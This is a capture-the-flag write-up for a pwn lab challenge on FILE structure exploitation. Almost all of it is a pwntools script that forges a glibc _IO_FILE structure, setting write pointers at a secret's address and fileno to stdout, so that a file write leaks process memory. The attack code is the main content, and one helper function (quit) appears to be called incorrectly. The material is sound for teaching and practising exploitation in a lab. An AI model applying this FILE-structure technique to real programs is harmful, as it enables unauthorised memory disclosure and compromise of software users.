(File Struct Exploits) level 11

Information

• category: pwn

Description

Apply FILE struct exploits to leak a secret value.

Explit

from pwn import *

elf = context.binary = ELF("/challenge/babyfile_level11")
global p
p = elf.process()

def new_note(size):
    p.sendlineafter(b"> ",b"new_note")
    p.send(size)

def del_note():
    p.sendlineafter(b"> ",b"del_note")

def write_note(data):
    p.sendlineafter(b"> ",b"write_note")
    p.send(data)

def read_note():
    p.sendlineafter(b"> ",b"read_note")

def open_file():
    p.sendlineafter(b"> ",b"open_file")

def close_file():
    p.sendlineafter(b"> ",b"close_file")

def write_file():
    p.sendlineafter(b"> ",b"write_file")

def write_fp(data):
    p.sendlineafter(b"> ",b"write_fp")
    p.send(data)

def quit():
    p.sendlineafter(b"quit")

def exploit():
    p.recvuntil(b"located at ")
    flag = int(p.recvline()[:-1],16)

    new_note(b"50")
    write_note(b"AAAA")
    read_note()

    open_file()
    
    fp = FileStructure() 
    fp.flags = 0x800
    fp._IO_read_end = flag
    fp._IO_write_base = flag
    fp._IO_write_ptr = flag + 0x64
    fp.fileno = 1

    write_fp(bytes(fp.struntil("_flags2"))) # or just fp.write(flag,100)
    write_file()

    p.interactive()

def main():
    exploit()

if __name__ == "__main__":
    main()